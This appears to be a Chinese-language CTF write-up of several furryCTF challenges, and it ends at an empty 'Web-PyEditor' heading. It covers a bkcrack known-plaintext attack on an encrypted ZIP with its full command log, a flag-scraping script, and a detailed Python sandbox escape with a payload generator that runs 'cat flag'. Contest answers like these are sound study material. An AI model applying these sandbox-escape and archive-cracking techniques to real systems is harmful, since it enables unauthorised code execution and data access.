Misc-CyberChef
📎 相关: | 3.编码分析 | 2.音视频隐写 | 4.1已知明文攻击(bkcrack)
chef语言
https://tio.run/#chef
base64解码获得flag
furryCTF{I_Wou1d_L1ke_S0me_Colon9l_Nugge7s_On_Cra7y_Thursd5y_VIVO_5O_AWA}
Misc-余音藏秘 QSSTV获得一张二维码
扫描后获得U2FsdGVkX1/RxNkd2IGdQJ/tLDwU+2qkasEwAENOgBw=
现在还没弄出来
Misc-学习资料
构造文件头最方便的方法就是自己创建一个.docx文件 然后把固定的文件头摘录下来
504B03040A0000000000874EE24000000000000000000000000009000000646F6350726F70732F504B
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Microsoft Windows [版本 10.0.26200.7623] (c) Microsoft Corporation。保留所有权利。 C:\Users\13964>cd C:\Users\13964\Desktop\Misc\bkcrack C:\Users\13964\Desktop\Misc\bkcrack>bkcrack.exe -C flag.zip -c flag.docx -x 0 504B03040A0000000000874EE24000000000000000000000000009000000646F6350726F70732F504B bkcrack 1.7.0 - 2024-05-26 [15:35:45] Z reduction using 34 bytes of known plaintext 100.0 % (34 / 34) [15:35:46] Attack on 250815 Z values at index 6 Keys: dc5f5a25 ba003c16 064c2967 82.9 % (207982 / 250815) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 207982 [15:37:23] Keys dc5f5a25 ba003c16 064c2967 C:\Users\13964\Desktop\Misc\bkcrack>bkcrack.exe -C flag.zip -c flag.docx -k dc5f5a25 ba003c16 064c2967 -d decrypted.docx bkcrack 1.7.0 - 2024-05-26 [15:38:17] Writing deciphered data decrypted.docx Wrote deciphered data (not compressed). C:\Users\13964\Desktop\Misc\bkcrack>
furryCTF{Ho0w_D1d_You_C0mE_H9re_xwx}
Misc-AA哥的JAVA
vscode打开后看到很多箭头 sublime text打开
在wps>文件>选项>把制表符 空格勾出来
把空格替换为0 制表符替换为1
注意每行开头的空格是回车 不需要提取
1 01110000011011110110011001110000011110110100100001110101010000010110110100110001010111110111010001110010011101010011000101111001010111110110001100110100011011100110111000110000011101000101111101101101001101000110101101100101010111110111001101100101011011100111001101100101010111110011000001100110010111110100101000110100011101100011010001111101
pofp{HuAm1_tru1y_c4nn0t_m4ke_sense_0f_J4v4}
PPC-flagReader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requests import time from binascii import unhexlify BASE_URL = "http://ctf.furryctf.com:33126/api/flag/char/" all_chars = [] for i in range(1, 481): url = f"{BASE_URL}{i}" try: response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() if data.get("status") == "success": char = data["char"] all_chars.append(char) print(f"[{i}/480] Got: {char}") else: print(f"[{i}] API error: {data.get('error', 'Unknown')}") all_chars.append('?') else: print(f"[{i}] HTTP {response.status_code}") all_chars.append('?') except Exception as e: print(f"[{i}] Error: {e}") all_chars.append('?') time.sleep(0.1) # 礼貌延迟 # 拼接 hex_str = ''.join(all_chars) print("\n[+] Collected hex string length:", len(hex_str)) # 确保偶数长度 if len(hex_str) % 2 != 0: hex_str = hex_str[:-1] # 两次 Base16 解码 try: first = unhexlify(hex_str) second = unhexlify(first.decode('utf-8')) flag = second.decode('utf-8') print("\n🎉 FLAG:", flag) except Exception as e: print("[-] Decode failed:", e) print("First decode (hex):", first.hex() if 'first' in locals() else "N/A")
🎉 FLAG: furryCTF{21ec42bf-d921-4b81-9be2-c4160c68c2cc-90321437-cb37-45d5-9cf4-0ae9abebcbe0-dccb8de2-2cb9-45a4-906a-7b6be4fcbfbf}
Misc-困兽之斗 nc 一下看提示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ┌──(kali㉿kali)-[~] └─$ nc ctf.furryctf.com 32961 ?__? / \ |•ᴥ•| | 0101 | |H4CK3R| \____/ Well,I just banned letters,digits, '.' and ',' And also banned getattr() and help() by replacing it And I banned os,subprocess module by pre-load it as strings Just give up~ Or you still wanna try?
沙箱禁了字母/数字/点号/逗号,getattr() 和 help() 被替换成空函数,os/subprocess 预加载成字符串,就是不让你写正常 Python。目标就一个:绕过限制跑 cat flag。
绕过链:Unicode 数学粗体过字母 → vars() 过点号 → 删 sys.modules 解封 os → exec() 多行 → 八进制+字符运算绕数字。
字母:Unicode 数学粗体 Python 解析代码时会把数学粗体自动转回 ASCII,所以 𝐞𝐱𝐞𝐜 就是 exec,不算字母。写个脚本批量转:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def bold_text(text): """将 ASCII 字母转换为 Unicode 数学粗体形式""" result = [] for char in text: if 'A' <= char <= 'Z': bold_char = chr(ord(char) + 0x1D400 - ord('A')) result.append(bold_char) elif 'a' <= char <= 'z': bold_char = chr(ord(char) + 0x1D41A - ord('a')) result.append(bold_char) else: result.append(char) return ''.join(result) if __name__ == "__main__": user_input = input("请输入要加粗的文本: ") print("\n转换结果:") print(bold_text(user_input))
eg:
exec → 𝐞𝐱𝐞𝐜
chr → 𝐜𝐡𝐫
ord → 𝐨𝐫𝐝
vars → 𝐯𝐚𝐫𝐬
点号:vars() 点号被禁就用 vars() 拿 __dict__ 再按字典取值调:
1 2 3 4 5 # 传统方式(被禁用) os.system('cat flag') # 绕过方式 vars(os)['system']('cat flag')
os:删 sys.modules 题目把 sys.modules['os'] 预加载成了字符串,import 时直接返回缓存不会真导。删掉再 import:
1 2 3 4 5 # 删除伪造的模块 del modules['os'] # 重新导入真正的 os 模块 __import__('os')
多行:exec() eval() 只能跑单个表达式,逗号被禁也用不了海象运算符,这种删模块+导模块+执行命令的多步操作得用 exec():
1 exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")
数字:八进制 + 字符运算 数字被禁不能直接写字符串,两种绕法:
八进制转义:
1 2 # 'd' 的 ASCII 码是 100,八进制是 \144 "\144" # 等价于 'd'
字符运算:用重音字符做减法,’ō’ 是 333,’é’ 是 233,差 100 正好是 ‘d’:
1 2 # 'd' 的 ASCII 码是 100 chr(ord('ō') - ord('é')) # 'ō' 是 333,'é' 是 233,差值是 100
坑:为什么用减法不用加法?加法容易加出 ASCII 字母,会被检测。
exp 第一阶段:全转八进制。坑:换行符 \n 的八进制是 \12(不是 \1\2):
1 2 3 4 5 # 原始命令 exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')") # 转换为八进制(绕过字母和数字) 𝐞𝐱𝐞𝐜("\144\145\154\40\155\157\144\165\154\145\163['\157\163']\12\166\141\162\163(__\151\155\160\157\162\164__('\157\163'))['\163\171\163\164\145\155']('\143\141\164\40\146\154\141\147')")
第二阶段:把数字也换成字符运算,完全绕数字:
1 𝐞𝐱𝐞𝐜(𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('é'))+𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('è'))+...)
生成脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 # gen_payload_full_unicode.py def to_math_bold(s): """将 ASCII 字母转为 Unicode 数学粗体""" res = [] for c in s: if 'A' <= c <= 'Z': res.append(chr(ord(c) - ord('A') + 0x1D400)) elif 'a' <= c <= 'z': res.append(chr(ord(c) - ord('a') + 0x1D41A)) else: res.append(c) return ''.join(res) def char_to_expr(c): """ 将单个字符 c 转换为 chr(ord('ō') - ord(X)) 形式 其中 X = chr(333 - ord(c)) """ code = ord(c) base_char = chr(333 - code) # 因为 ord('ō') = 333 # 返回字符串形式:chr(ord('ō')-ord('X')) return f"𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('{base_char}'))" def str_to_char_expr(s): """将整个字符串转为字符运算拼接表达式""" parts = [char_to_expr(c) for c in s] # 用 '+' 连接(注意:不能用逗号!) return '+'.join(parts) # 原始 payload 内容 payload_code = '''del modules['os'] vars(__import__('os'))['system']('cat flag')''' # 步骤 1: 将 payload_code 转为字符运算表达式 expr = str_to_char_expr(payload_code) # 步骤 2: 构造 exec( ... ) 调用 exec_call = f"𝐞𝐱𝐞𝐜({expr})" print("=== Final Payload (Full Unicode Char Arithmetic) ===") print(exec_call) print("\n=== Length:", len(exec_call), "characters ===")
furryCTF{b37bc8c8a3fe_jUSt_RUN_0Ut_Fr0M_thE_sand60x_WiTH_unIC0De}
Web-PyEditor